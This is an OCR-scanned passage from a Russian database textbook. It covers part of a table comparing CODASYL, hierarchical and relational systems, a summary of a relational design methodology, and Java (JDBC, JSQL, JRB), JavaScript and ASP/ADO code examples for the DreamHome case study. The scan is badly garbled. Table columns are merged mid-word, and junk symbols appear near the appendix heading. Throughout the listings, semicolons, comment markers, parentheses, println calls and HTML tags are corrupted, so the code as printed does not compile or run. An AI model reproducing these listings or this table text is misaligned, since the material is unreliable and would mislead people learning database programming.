физического хране- специальные утилитылять различные структу-
ния. Это может вы-ры файлов и вторичных
звать необходимостьиндексов
изменения прикладных программ. Следовательно, реализация макета базы данных может существенно усложниться
Гибкость при изменении приложений
Новые или изменен-Новые или измененные приложе-Настройка для работы с
ные приложения могутния могут быть неэффективны, по-новыми или изменение обладать достаточ-тому что базовые структуры подог-ными приложениями
ной производительно-наны под исходные приложения.может быть выполнена
стью, потому что базаИзменить базовую структуру так,без особых затрудне-
данных структуриро-чтобы обеспечить удовлетвори-ний. В СУБД, поддер-
вана для существо-тельную работу базы данных соживающей выбор струк-
вавших ранее прило-всеми требуемыми приложениями,туры файлов, для раз-
жений. Поэтому мо-достаточно сложно или даже во-ных таблиц могут быть
жет оказатьсяобще невозможно. Вероятно, длявыбраны самые подхо-
невозможным эффек-этого потребуется создать долол-дящие структуры дан-
тивно поддерживатьнительные структурыных
все требуемые приложения
Простота проектирования
Вероятно, потребуетсяПроектирование могут выполнитьБольшинство пользова-
квалифицированнаятолько опытные специалисты-телей (включая конеч-
помощь, особенноэкспертыных пользователей) лег-
при определении не-ко поймут логическую
обходимых структурструктуру данных, а поданных и при разра-тому смогут спроекти-
ботке связанных сровать базу данных и
ними прикладных про-отобразить ее на физи-
граммческие структуры. К со
жалению, недостаточное знание методов проектирования баз данных может привести к созданию слабых, неэффективных и негибких макетов
Критерий
CODASYL-система
IMS (иерархическая система)
Реляционная система
Доступ к базе
Стандартные методы
Здесь также доступ выполняется
Доступ может варьиро
данных
доступа посредством API: приложение содержит встроенные вызовы процедур для работы с СУБД. Команды обрабатывают записи последовательно, по одной, хотя потенциально при этом они могут оказывать влияние и на другие записи. Дополнительные программные конструкции необходимы для навигации по базе данных и обработки наборов записей
исключительно посредством API. Команды обрабатывают записи последовательно, по одной, но при этом они могут повлиять и на зависимые записи. Благодаря использованию специальных команд навигации.по базе данных пользователь может перемещаться к разным местам иерархической структуры. Для обработки наборов записей могут потребоваться специальные программные конструкции
ваться от использования API до таких интерактивных языков запросов, как SQL или QBE. Языки запросов позволяют конечным пользователям опрашивать базу данных в произвольной манере. Кроме того, SQL-команды могут внедряться в прикладные программы
Стандарты
Для CODASYL- совместимой модели данных существует набор стандартных концепций, хотя между разными реализациями есть некоторые различия
Для иерархической модели данных не существует строгого набора стандартных концепций, а реализации этой модели не соответствуют какому-либо особому стандарту
Для реляционных моделей данных существует набор стандартных концепций, хотя между разными реализациями есть некоторые различия
ПРИЛОЖЕНИЕПРИЛОЖЕНИЕJi||Ji||- >*^^S>8V-»*■-;?-- >*^^S>8V-»*■-;?-^. - ^5г4#^<&•:^. - ^5г4#^<&•:
ПРИЛОЖЕНИЕ
ПРИЛОЖЕНИЕ
Ji||
Ji||
- >*^^S>8V-»*■-;?-
- >*^^S>8V-»*■-;?-
^. - ^5г4#^<&•:
^. - ^5г4#^<&•:
ВВSill#111Sill#111М? S3М? S3BKK^:V?4\4BKK^:V?4\4■Краткий обзор методологии
В
В
Sill
#111
Sill
#111
М? S3
М? S3
BKK^:V?4\4
BKK^:V?4\4
ектированияйрнных баз данных
Ш6Мрр^
||||||||^8ботки баз данных включает три фазы: н^дгуальное, логическое и физическое проектирование.
относящиеся к каждой из трех основных фаз, определяются методологией проектирования баз данных.
В этой книге рассматривается конкретная методология проектирования реляционных баз данных. Эта методология предусматривает три основные фазы разработки — концептуальное, логическое и физическое проектирование базы данных, — которые подробно описываются в главах 7, 8 и 9 соответственно. В этом приложении приводится обобщенное формальное описание предлагаемой методологии разработки баз данных, предназначенное для тех читателей, которые уже хорошо знакомы с проектированием баз данных.
Этап 1. Создание локальной концептуальной модели данных исходя из представления о предметной области каждого из типов пользователей
Построение локальной концептуальной модели данных предприятия с точки зрения представления о функционировании предприятия каждого из существующих типов пользователей.
Этап 1.1. Определение типов сущностей
Определение основных типов сущностей, присутствующих в представлении данного пользователя о предметной области приложения. Документирование выделенных типов сущностей.
Этап 1.2. Определение типов связей
Определение важнейших типов связей, существующих между сущностями, выделенными на предыдущем этапе. Определение кардинальности связей и ограничений участия его членов. Документирование типов связей. При необходимости могут использоваться диаграммы “сущность-связь” (ER-диаграммы).
Этап 1.3. Определение атрибутов и связывание их с типами сущностей и связей
Связывание атрибутов с соответствующими типами сущностей или связей. Идентификация простых и составных атрибутов, простых и множественных атрибутов, а также производных атрибутов. Документирование сведений об атрибутах.
Этап 1.4. Определение доменов атрибутов
Определение доменов для всех атрибутов в каждой локальной концептуальной модели данных. Документирование сведений о доменах атрибутов.
Этап 1.5. Определение атрибутов, являющихся потенциальными и первичными ключами
Определение потенциального ключа для каждого типа сущности; если таких ключей окажется несколько, выбор среди них первичного ключа. Документирование сведений о первичных и альтернативных ключах для каждой сильной сущности.
Этап 1.6. Специализация или генерализация типов сущностей (необязательный этап)
Определение суперклассов и подклассов для типов сущностей (при необходимости).
Этап 1.7. Создание диаграммы „сущность-связь"
Разработка диаграмм “сущность-связь” (ER-диаграмм), содержащих концептуальное отражение представлений пользователя о предметной области приложения.
Этап 1.8. Обсуждение локальных концептуальных моделей данных с конечными пользователями
Обсуждение локальных концептуальных моделей данных с конечными пользователями для получения подтверждений того, что данная модель корректно отражает представления пользователя о приложении и предприятии.
Этап 2. Построение и проверка локальной логической модели данных на основе представления о предметной области каждого из типов пользователей
Построение логической модели данных на основе концептуальной модели данных, отражающей представление отдельного пользователя о предметной области приложения, и проверка полученной модели с помощью методов нормализации и контроля возможности выполнения транзакций.
Этап 2.1. Преобразование локальной концептуальной модели данных в локальную логическую модель
Доработка локальных концептуальных моделей с целью удаления из них нежелательных элементов и преобразование полученных моделей в локальные логические модели данных. Удаление связей типа M:N, сложных связей, рекурсивных связей, множественных атрибутов, связей с атрибутами и избыточных связей. Перепроверка связей типа 1:1.
Этап 2.2. Определение набора отношений исходя из структуры локальной логической модели данных
Определение на основе локальных логических моделей данных набора отношений, необходимого для представления сущностей и связей, входящих в представления отдельных пользователей о предметной области приложения. Документирование сведений об отношениях и атрибутах внешних ключей. Документирование сведений о новых первичных или потенциальных ключах, которые были определены в процессе создания отношений на основе логической модели данных.
Этап 2.3. Проверка модели с помощью правил нормализации
Проверка локальной логической модели данных с использованием технологии нормализации. Целью выполнения этого этапа является получение гарантий того, что каждое из отношений, созданных на основе логической модели данных, отвечает, по крайней мере, требованиям НФБК (нормальной формы Бойса-Кодда).
Этап 2.4. Проверка модели в отношении транзакций пользователей
Цель выполнения этого этапа — убедиться в том, что локальная логическая модель данных позволяет выполнить все транзакции, предусмотренные данным представлением пользователя.
Этап 2.5. Создание диаграмм „сущность-связь"
Создание диаграмм “сущность-связь” (ER-диаграмм), являющихся локальным логическим представлением данных, используемых отдельными пользователями приложения.
Этап 2.6. Определение требований поддержания целостности данных
Определение ограничений, налагаемых на отдельные элементы представлений пользователей требованиями сохранения целостности данных. Сюда относятся определение обязательности наличия данных, установление ограничений для доменов атрибутов, определение требований сохранения целостности сущностей и поддержки ссылочной целостности данных, а также учет требований (бизнес-правил) данного предприятия. Документирование всех установленных ограничений.
Этап 2.7. Обсуждение разработанных локальных логических моделей данных с конечными пользователями
Назначение данного этапа — убедиться в том, что созданные локальные модели данных точно отражают представления пользователей о предметной области приложения.
Этап 3. Создание и проверка глобальной логической модели данных
Объединение отдельных локальных логических моделей данных в единую глобальную логическую модель данных, представляющую ту часть предприятия, которая охватывается данным приложением.
Этап 3.1. Слияние локальных логических моделей данных в единую глобальную модель данных
Объединение отдельных локальных логических моделей данных в единую глобальную логическую модель данных предприятия. В круг решаемых при этом задач включены следующие:
анализ имен сущностей и их первичных ключей;
анализ имен связей;
слияние общих сущностей из отдельных локальных моделей;
включение (без слияния) сущностей, уникальных для каждого локального представления;
слияние общих связей из отдельных локальных моделей;
включение (без слияния) связей, уникальных для каждого локального представления;
проверка на наличие пропущенных сущностей и связей;
проверка корректности внешних ключей;
проверка соблюдения ограничений целостности;
выполнение чертежа глобальной логической модели данных;
обновление документации.
Этап 3.2. Проверка глобальной логической модели данных
Проверка глобальной логической модели данных с помощью методов нормализации и контроль возможности выполнения требуемых транзакций. На этом этапе выполняются действия, аналогичные тем, которые производились на этапах 2.3 и 2.4 при проверке каждой из локальных логических моделей данных.
Этап 3.3. Проверка возможностей расширения модели в будущем
Определение вероятности внесения каких-либо существенных изменений в созданную модель данных в обозримом будущем и оценка того, насколько данная модель приспособлена для внесения подобных изменений.
Этап 3.4. Создание окончательного варианта диаграммы „сущность-связь"
Создание окончательного варианта диаграммы “сущность-связь”, представляющей глобальную логическую модель данных предприятия.
Этап 3.5. Обсуждение глобальной логической модели данных с пользователями
Цель данного этапа — убедиться в том, что созданная глобальная логическая модель данных адекватно отражает моделируемую часть информационной структуры предприятия.
Этап 4. Перенос глобальной логической модели данных в среду целевой СУБД
Создание базовой функциональной схемы реляционной базы данных на основе глобальной логической модели данных.
Этап 4.1. Проектирование таблиц базы данных
в среде целевой СУБД
Определение способа представления всех выделенных в глобальной логической модели данных отношений в виде таблиц целевой СУБД. Документирование результатов проектирования таблиц.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД
Реализация бизнес-правил предприятия в среде целевой СУБД. Документирование полученных результатов разработки.
Этап 5. Проектирование физического представления базы данных
Определение файловой структуры и методов доступа, которые будут использоваться для представления таблиц базы данных. Другими словами, определение способа хранения таблиц и их строк во вторичной памяти.
Этап 5.1. Анализ транзакций
Определение функциональных характеристик транзакций, которые будут выполняться в проектируемой базе данных, и выделение наиболее важных из них.
Этап 5.2. Выбор файловой структуры
Определение самого эффективного файлового представления для каждой из таблиц базы данных.
Этап 5.3. Определение вторичных индексов
Определение того, будет ли добавление вторичных индексов способствовать повышению производительности системы.
Этап 5.4. Анализ необходимости введения контролируемой избыточности данных
Определение того, будет ли внесение контролируемой избыточности данных (за счет снижения требований к уровню их нормализации) способствовать повышению производительности системы. Анализ целесообразности хранения производных данных и дублирования атрибутов или слияния таблиц.
Этап 5.5. Определение требований к дисковой памяти
Определение объема дискового пространства, необходимого для размещения базы данных.
Этап 6. Разработка механизмов защиты
Разработка механизмов защиты базы данных в соответствии с требованиями пользователей.
Этап 6.1. Разработка пользовательских представлений (видов)
Разработка пользовательских представлений (видов), которые были выделены на первом этапе концептуального проектирования базы данных.
Этап 6.2. Определение прав доступа
«Определение прав доступа к таблицам базы данных для каждого из представлений пользователей. Документирование результатов разработки средств защиты и прав представлений пользователей.
Этап 7. Организация мониторинга и настройка функционирования системы
Мониторинг функционирования операционной системы и достигнутого уровня производительности базы данных с целью устранений ошибочных проектных решений или отображения изменения требований к системе.
В главе 24, “Web-технологии и СУБД”, рассматривались некоторые подробности организации World Wide Web и используемые в настоящее время способы интеграции баз данных в Web-среду. В данном приложении приводится несколько примеров, иллюстрирующих некоторые из концепций, описанных в этой главе. При подготовке данного приложения предполагалось, что читатель знаком с концепциями, рассмотренными в главе 24. Приводимые в данном приложении примеры построены на основе учебного проекта DreamHome, описанного в разделе 1.7.
Ж.1 Java и JDBC
В разделе 24.7.1 спецификация JDBC для языковой среды Java рассматривалась как возможный способ подключения Java-приложения к СУБД. В следующем примере иллюстрируется один из вариантов использования спецификации JDBC.
Пример Ж.1. Использование спецификации JDBC
Создайте Java-приложение, которое позволит составлять перечень всех записей в таблице Staff, обновлять одну запись, а затем выбирать из обновленной записи все имеющиеся в ней детальные данные.
Этот пример демонстрирует применение спецификации JDBC в отдельном Java- приложении с помощью моста JDBC-ODBC и 32-разрядного ODBC-драйвера фирмы Microsoft. Текст данного приложения показан в листинге Ж.1.
Листинг Ж.1. Пример Java-приложения, использующего спецификацию JDBC
/*
* Приложение JDBCExample.java - иллюстрация использования JDBC.
*/
import java.sql.*;
class JDBCExample {
static Connection dbcon; // Объект соединения с базой данных
/* Главная подпрограмма */
public static void main(String args[]) throws Exception {
Class.forName ("sun.jdbc.odbc.JdbcOdbcDriver");// Load the JDBC-ODBC
bridge driver
open(); // Открытие базы данных
select(); И Отображение списка всех строк в таблице Staff updated; И Обновление строки и отображение результата select("WHERE Sno =/SG37'");
closed; И Закрытие базы данных
}
/* Открытие соединения с базой данных */
static void open() throws SQLException {
/* Задание имени источника данных ODBC и имени/пароля пользователя для установки соединения */
String dsn = "jdbc:odbc:dreamhomedb";
String user = "admin";
String password = "";
/* Вызов менеджера драйвера для установки соединения */
dbcon = DriverManager.getConnection(dsn, user, password);
/* По умолчанию фиксация транзакций выполняется автоматически, поэтому функция autocommit отключается */
dbcon.setAutoCommit(false);
/* Фиксация всех ожидающих завершения транзакций и закрытие соединения с базой данных */
static void close() throws SQLException {
dbcon.commit();
dbcon.close();
}
/* Выдача SQL-запроса с предложением WHERE */
static void select(String whereClause) throws SQLException {
Statement stmt;
// Объект SQL-оператора
String query;
// Строка SQL-запроса
ResultSet rs;
// Поле результата SQL-запроса
boolean more;
И Переключатель "есть дополнительные строки1
/* Подготовка запроса, формирование SQL-оператора и выполнение запроса */ query = "SELECT Sno, FName, LName, Position FROM Staff" + whereClause; stmt = dbcon.createStatement();
rs = stmt.executeQuery(query)?
/* Проверка наличия возвращаемых строк */ more = rs.next()?
if (’more) {
System.out.println("No rows found.")? return;
}
/* Цикл обработки выбранных по запросу строк с выводом данных */ while (more) {
System.out.printin("Staff Number: " + rs.getString ("Sno"));
System.out.printin("Name: " + rs.getString("FName") + " " + rs.getString("LName"));
System.out.println("Position: " + rs.getString("Position")); System.out.printin("");
more = rs.next();
}
rs.close();
stmt.close();
}
/* Выдача SQL-запроса без предложения WHERE */
static void select() throws SQLException { select("");
}
/* Обновление новой строки */
static void updated throws SQLException {
Statement stmt;11Объект SQL-оператора
String sql?//SQL-оператор UPDATE
int rows;IIКоличество вставляемыхстрок
sql = "UPDATE Staff SET Position = 'Manager' WHERE Sno = 'SG37' "; stmt = dbcon.createStatement();
rows = stmt.executeUpdate(sql);
dbcon.commitd;
stmt, closed;
System.out.printin(rows + " row(s) updated");
Ж.2. Java и JSQL
В разделе 24.7.2 кратко рассматривается спецификация JSQL, представляющая собой альтернативный вариант доступа к базам данных из Java-приложений. Следующий пример демонстрирует один из способов использования спецификации JSQL.
• Пример Ж.2. Использование спецификации JSQL для извлечения данных
' Создайте JSQL-программу, предназначенную для извлечения сведений о некотором сотруднике.
Текст подобной программы показан в листинге Ж.2. Ее функции аналогичны про> грамме из примера 14.15, в которой используются встроенные (статические) SQL- операторы. В JSQL встроенные команды начинаются со строки Isql. В этой про-
• грамме объявляется класс подключения к контекстной базе данных dreamhomedb для ; объекта, представляющего базу данных, в которой будут выполняться SQL-команды. . Сведения о контекстной базе данных программа получает с помощью аргументов командной строки (argv[0]). В этом примере SQL-запрос может возвратить сразу несколько строк, а потому для организации итераций с отдельными строками строится курсор. Показанный здесь метод связывает атрибуты таблицы Property_for_Rent с типом итератора propertyDetails. Таким образом, доступ к каждому атрибуту можно организовать с помощью метода объекта-итератора propertyiterator. Альтернативный подход больше похож на стандартную SQL-команду FETCH.
Листинг Ж.2. Пример JSQL-запроса для извлечения нескольких строк данных
import jsql.runtime.*;
isql context dreamhomedb; M Настройка области контекста public class staffproperties {
static records recs = new records,);
/* Главная процедура */
public static void main,String args[]) throws SQLException {
/* Открытие соединения с базой данных с использованием информации из командной строки */ recs = new dreamhomedb,argv[0]);
/* Определение связывания по имени */
isql iterator propertyDetails (String pno, String street, String area); propertyDetails propertyiterator? H Определение объекта итератора isql (recs) propertyiterator = (SELECT pno AS "pno",
street AS "street", area AS "area", FROM property_for rent WHERE sno = "SG37"
ORDER BY pno };
/* Цикл по всем записям в результирующем наборе и вывод информации с помощью метода, предусматривающего использование имени атрибута */ while (propertylterator.next,)) {
System.out.printin ("Property number: ", propertyIterator.pno,))?
System.out.printin ("Street: ", propertyiterator.street,))? if (propertylterator.area,)) // Проверка на NULL
System.out.printin ("Area: ", propertylterator.area,));
else
System.out.printin,"Area: NULL");
}
}
}
Ж.З. JavanJRB
В разделе 24.7.3 кратко описана спецификация Java Relational Binding (JRB) как альтернативный вариант доступа к базам данных из Java-приложения. В следующем примере иллюстрируется один из способов использования спецификации JRB. ^Пример Ж.З. Использование спецификации JRB
* Создайте JRB-приложение, выполняющее повышение на 5% зарплаты всем со- j трудникам отделения компании с номером 'В5\
Текст подобной программы приведен в листинге Ж.З. Для упрощения данного примера предположим, что упрощенная схема для таблицы Staff определена в следующем Java-пакете.
Package dreamhomeStaff;
public class Staff{
String sno;
String name;
float salary;
String bno;
}
Листинг Ж.З. Пример использования спецификации JRB import jrb.api.* public class staff {
/* Главная подпрограмма */
public static void main(String args[]) throws DBRuntimeException { /* Создание объекта базы данных и определение имени пользователя
и пароля для установки соединения */
Database db = new Database(Database.ORACLE, "java_store", "username", "password");
db.connect();И Открытие соединения с сервером базы данных
db.open("dreamhomedb");// Открытие базы данных
Staff s;И Выборка всех записей из таблицы Staff,
// в которых номер отделения = 'B5f
Extent staffExtent;
staffExtent = Extent.all("Staff").where("bno= "B5"");
transaction = new Transaction; // Создание новой транзакции transaction.begin();
/* Цикл по всем выбранным записям, обновление суммы зарплаты и вывод результатов */
for (Enumeration е = staffExtent.elements(); e.hasMoreElements(); ) { s = (Staff)e.nextElement();
s.salary = s.salary * 1.05;
System.out.printin("New salary for " + s.sno + " "+ s.name + " " + "is:" + s.salary);
}
transaction.commit();// Фиксация изменений
db.close(); // Закрытие базы данных db.disconnect(); И Отключение от сервера
} }
i В этой программе стоит отметить способ обработки записей со сведениям о сотрудниках. Для извлечения всех записей о сотрудниках отделения компании с номером
; 'В5' в программе используются класс Extent и метод where(). Для выполнения итераций со всеми результирующими записями в выбранном экстенте используется метод elements () класса Extent, вызываемый с целью возвращения объекта Enumeration.
Ж.4. JavaScript
В разделе 24.8.1 кратко описывается язык сценариев JavaScript. Приведенный ниже пример демонстрирует способ применения этого языка для создания приложения на клиентской части, а в следующем разделе продемонстрированы методы применения языка JavaScript для создания приложения на серверной части с использованием технологии Active Server Pages фирмы Microsoft.
Пример Ж.4. Использование языка JavaScript для одюф&^№ о книге
' Создайте JavaScript-программу для эмуляции HTML-страницы, показанной на , рис. 24.2.>
; В листинге Ж.4 показан пример использования языка JavaScript для эмуляции $ । Web-страницы, показанной на рис. 24.2. В этом примере один массив использует- । : ся для хранения списка страниц, к которым пользователь может осуществить дос- j 1 туп, а другой — для хранения списка адресов этих страниц. HTML-форма создает- i ’ ся с помощью события onChange, которое приводит к вызову функции goPage сразу j , после выбора пользователем нужной страницы.*
; Листинг Ж.4. Пример использования языка JavaScript для отображения
команд меню, показанных на рис. 24.2
<HTML>
<HEAD>
<TITLE>Database Systems: A Practical Approach to Design, Implementation and Management/TITLE>
<SCRIPT LANGUAGE = "JavaScript">
<!— Сценарий помещается в попе комментариев, что гарантирует,
И что он не будет отображен на странице устаревшими броузерами,
//не способными распознавать операторы языка JavaScript.
И Функция создания массива и определения его свойств function makeArray() {
var args = makeArray.arguments;
for (var i = 0; i < args.length? i++) { this[i] = args[i]?
}’
this.length = args.length;
}
// Массив для хранения описания и имен страниц
var pages = new makeArray("Select a Page",
"Table of Contents",
"Chapter 1 Introduction",
"Chapter 2 Database Environment",
"Chapter 3 Relational Data Model",
"Instructor's Guide");
// Массив для хранения URL-адресов страниц
var urls = new makeArray("",
"http://cis.paisley,ac.uk/conn-ciO/book/toe.html",
"http://cis.paisley.ac.uk/conn-ciO/book/chapterl.html", "http://cis.paisley.ac.uk/conn-ci0/book/chapter2.html", "http://cis.paisley.ac.uk/conn-ci0/book/chapter3.html", "http://cis.paisley.ac.uk/conn-ciO/book/ig.html")?
// Функция определения выбранной страницы и перехода на нее.
function goPage(form) {
i = form.menu.selectedlndex;
if (i != 0) {
window.location.href = urls[i];
}
}
И Завершение поля комментариев для устаревших броузеров ->
</SCRIPT>
</HEAD>
<BODY background = sky.jpg>
<H2>Database Systems: A Practical Approach to Design,
Implementation and Management</H2>
<P>Thank you for visiting the Home Page of our database text book.
From this page you can view online a selection of chapters from the book.
Academics can also access the Instructor's Guide, but this requires the specification of a user name and password, which must first be obtained from Addison Wesley Longman. <BR><BR>
<SCRIPT LANGUAGE = "JavaScript">
<! —
И Отображение меню, ожидание выбора пользователя и выполнение перехода document.write('<FORM><SELECT NAME = "menu" onChange = "goPage(this.form)">');
for (var i = 0; i < pages.length; i++) {
document.write('<OPTION>' + pages[i]);
}
document.write('</SELECTx/F0RM>');
//->
</SCRIPT>
<P>If you have any comments, we would be more than happy to hear from you.</P>
<PXIMG SRC= "net.gif" HEIGHT=34 WIDTH=52 ALIGN=CENTER>
<A HREF= "mailto:conn-ciO@paisley.ac.uk">EMail</A>
<IMG SRC="fax.gif" HEIGHT=34 WIDTH=43 ALIGN=CENTER> </A>
6nbsp; Fax: 0141-848-3542</P>
</BODY>
</HTML>
Ж.5. Технологии ASP и ADO
В разделе 24.9.1 кратко рассматриваются технологии Active Server Pages (ASP) и Active Data Objects (ADO) фирмы Microsoft, позволяющие взаимодействовать с СУБД приложениям на языке JavaScript, расположенным на серверной стороне. Прежде чем приводить пример использования этих компонентов, представим краткий обзор объектной модели ADO.
Объектная модель ADO
Объектная модель ADO включает шесть следующих основных объектов, показанных на рис. Ж.1.
Connection (Соединение).
Command (Команда).
Parameters (Параметры).
Recordset (Набор записей).
Fields (Поля).
Errors (Ошибки).
Рис. ЖД. Объектная модель ADO
Объект Connection
Устанавливает коммуникационную связь между приложением и источником данных, а также позволяет выполнять команды. Если команды возвращают одну или несколько записей, то по умолчанию создается и возвращается объект Recordset. Класс Connection включает следующие методы.
Open (и Close) — установление (и закрытие) физического соединения с источником данных.
Execute — выполнение команды для данного соединения.
BeginTrans, CommitTrans и RollbackTrans — управление транзакциями для данного подключения, включая вложенные транзакции, если источник данных поддерживает работу с ними.
Объект Command
Команда, направляемая в базу данных, как правило, представляет собой SQL- команду или вызов некоторой хранимой процедуры. Объект Command может настраиваться с помощью параметров, задаваемых посредством создания коллекции объектов класса Parameter. Класс Command включает следующие методы.
Execute — выполнение команды для данного соединения.
CreateParameter — создание нового объекта класса Parameter.
Коллекция Parameters
Содержит любые параметры, которые используются вместе с данным объектом Command. Класс Parameters содержит следующие методы.
Append (и Delete) — добавление (и удаление) параметра для данной коллекции.
Item — извлечение определенного объекта Parameter.
Refresh — извлечение информации о параметрах провайдера хранимой проце
дуры или параметрического запроса, определенного в данном объекте Command. Обновленная коллекция окажется пустой для провайдеров, которые не поддерживают вызовы хранимых процедур или параметрических запросов.
На некоторый объект Parameter в коллекции Parameters можно ссылаться, используя его порядковый номер или значение, присвоенное свойству Name этого объекта, для чего можно применять любой из приведенных ниже вариантов синтаксиса.
command.Parameters.Item(i) command.Parameters(i) command(i)command.Parameters.Item(i) command.Parameters(i) command(i)command. Parameters. Item) “имя'1) command.Parameters("имя")command("имя")commandl{имя]command. Parameters. Item) “имя'1) command.Parameters("имя")command("имя")commandl{имя]
command.Parameters.Item(i) command.Parameters(i) command(i)
command.Parameters.Item(i) command.Parameters(i) command(i)
command. Parameters. Item) “имя'1) command.Parameters("имя")
command("имя")
commandl{имя]
command. Parameters. Item) “имя'1) command.Parameters("имя")
command("имя")
commandl{имя]
Объект Recordset
Представляет набор записей, полученный в результате выполнения запроса в базе данных. При создании объекта Recordset указатель текущей записи устанавливается на его первую запись (если таковая имеется), а свойствам ВОГ и EOF присваивается значение FALSE. Если никаких записей нет, то свойству RecordCount присваивается значение 0, а свойствам BOF и EOF — значение TRUE. Класс Recordset включает следующие методы.
MoveFirst, MoveLast, MoveNext, MovePrevious и Move — выполняют перемещение указателя текущей записи в предположении, что провайдер поддерживает выполнение соответствующих функций. В однонаправленных объектах Recordset поддерживается только метод MoveNext (см. ниже раздел о курсорах). При использовании указанных методов для перемещения по записям результирующего набора, для обнаружения начала и конца этого набора могут использоваться свойства ВОР и EOF объекта Recordset. Кроме того, для итеративной обработки нескольких наборов данных, полученных при выполнении команд, включающих несколько SQL-операторов (например, SELECT * FROM Owner; SELECT * FROM Staff), может применяться метод NextRecordset.
AddNew, Update и Delete — добавление новых записей, обновление и удаление существующих записей, связанных с открытым объектом Recordset. Объекты Recordset могут поддерживать два типа обновления: немедленное и пакетное. При немедленном обновлении все изменения данных сразу же заносятся в базовый источник данных, а при пакетном обновлении изменения нескольких записей заносятся в кэш-память, а затем передаются в базу данных посредством единственного вызова метода UpdateBatch. При его выполнении фиксируются все изменения, сделанные в наборе данных объекта Recordset с помощью методов AddNew, Update и Delete. После вызова метода UpdateBatch свойство Status может быть использовано для проверки наличия любых конфликтов доступа к данным с целью их последующего устранения.
Open (и Close) — открытие (и закрытие) курсора, представляющего результаты выполнения команды (выданной с помощью указанного объекта Command или заданной строки запроса). Метод Open определяет либо объект Connection, либо строку с информацией о подключении.
Коллекция Fields
Объект Recordset содержит коллекцию Fields, состоящую из объектов класса Field. Каждый объект Field соответствует столбцу данных объекта Recordset. Так же, как и при работе с объектами Parameter, на отдельный объект Field в коллекции Fields можно ссылаться, используя его порядковый номер или имя.
Коллекция Errors
Коллекция Errors создается системой для сохранения информации о любых отмеченных ошибках и исключительных ситуациях.
Курсоры
При открытии объекта Recordset можно использовать один из четырех различных типов курсора, перечисленных ниже.
Динамический курсор. Позволяет другим пользователям просматривать выполняемые в нем добавления, изменения и удаления; он также допускает произвольные перемещения по записям набора данных объекта Recordset без использования механизма закладок. Допускает использование закладок, если провайдер данных поддерживает работу с ними. (Закладкой называется отмеченный в наборе данных слот, который может быть использован для возврата к этой записи в любой момент времени.)
Ключевой курсор (keyset cursor). Функционирует так же, как и динамический курсор, за исключением того, что он предотвращает просмотр записей, добавленных другими пользователями, а также предотвращает доступ к записям, удаленным другими пользователями из данного набора данных Recordset. Курсор этого типа всегда допускает использование закладок, а потому разрешает произвольным образом перемещаться по набору данных объекта Recordset. Кроме того, обеспечивается просмотр изменений, внесенных другими пользователями.
Статический курсор. Представляет статическую копию набора записей для поиска данных или составления отчета. Всегда допускает использование закладок, а потому разрешает произвольным образом перемещаться по набору данных объекта Recordset. Позволяет просматривать добавления, изменения и удаления, внесенные другими пользователями.
Однонаправленный курсор (forward-only cursor). Функционирует так же, как и статический курсор, за исключением того, что он позволяет перемещаться по записям только вперед.
Ниже приводится пример использования технологий ASP и ADO.
ПримерЖ.5. Использование технологий ASP и ADO
Создайте ASP-страницу, которая позволит осуществлять доступ к базе данных DreamHome и извлекать данные о сотрудниках и объектах недвижимости, которыми они занимаются.
В применяемой в учебном примере DreamHome СУБД Microsoft Access допускается использовать SQL-команду следующего вида:
SELECT P.Pno, Р.Street, P.City, P.Sno, S.Fname, S.Lname, S.Tel_No
FROM STAFF S INNER JOIN PROPERTY_FOR_RENT P ON S.Sno=P.Sno;
Текст соответствующей ASP-страницы, предназначенной для передачи выбранной информации в окно Web-броузера, показан в листинге Ж.5, а результат выполнения команд этой ASP-страницы представлен на рис. Ж.2.
Листинг Ж.5. Пример ASP-страницы, предназначенной для отображения данных о сотрудниках и объектах недвижимости, которыми они занимаются
<HTML>
<TITLE>DreamHome Estate Agents</TITLE>
<BODY background = sky.jpg>
<Hlxl>DreamHome</I> Estate Agents</Hl>
<H3>Query Results for Staff Property Management</H3>
1— Проверка того, существует пи у пользователя требуемое соединение;
если нет, то установка этого соединения. —>
<%
Session.timeout = 3
If IsObjectfSession("Dreamhome_conn")) Then
Set conn = Session("Dreamhome^conn")
Else
Set conn = Server.CreateObject("ADODB.Connection")
conn.open "Dreamhome", "", ""
Set Session("Dreamhome_conn") = conn
End If %>
1 — Подготовка требуемой SQL-команды, создание объекта Recordset и инициализация его —>
<%
sql = "SELECT P.Pno, Р.Street, P.City, P.Sno, S.FName, S.LName, S.Tel_No FROM STAFF S INNER JOIN PROPERTY_FOR_RENT P ON S.Sno = P.Sno "
Set rs = Server.CreateObject("ADODB.Recordset")
rs.Open sql, conn, 3, 3 %>
!-- Подготовка заголовка HTML-таблицы —>
<TABLE BORDER=1 BGCOLOR=#ffffff CELLSPACING=0><FONT FACE="Arial"
COLOR=IOOOOOOxCAPTIONXB>Query Results for Staff Property Management/B> </CAPTION>
<THEAD>
<TR>
!— Вывод заголовка столбца для каждого из атрибутов —>
% For i = 0 То гs.Fields.Count - 1 %>
ТН BGCOLOR=#cOcOcO BORDERCOLOR=#QOOOOO XFONT SIZE=2 FACE= "Arial"
COLOR=#OOOOOOx%= rs(i).Name %x/F0NTx/TH>
% Next - %>
</TR>
</THEAD>
1— Циклическая обработка всех записей в результирующем наборе данных и создание в таблице отдельной строки для каждой из них —>
<TBODY>
<%
On Error Resume Next
rs.MoveFirst
Do While Not rs.EOF %>
TR >
% For i = 0 To rs.Fields.Count - 1
v = rs(i)
If isnull(v) Then v = " " »>
TD VALIGN = TOP BORDERCOLOR=#cOcOcO XFONT SIZE=2 FACE- "Arial" COLOR-tOOOOOOXt- v *XBRX/FONTX/TD>
4 Next t>
</TR>
rs.MoveNext
Loop rs.Close conn.Close %> </TBODY> <TF00TX/TF00T> </TABLE> </BODY> </HTML>
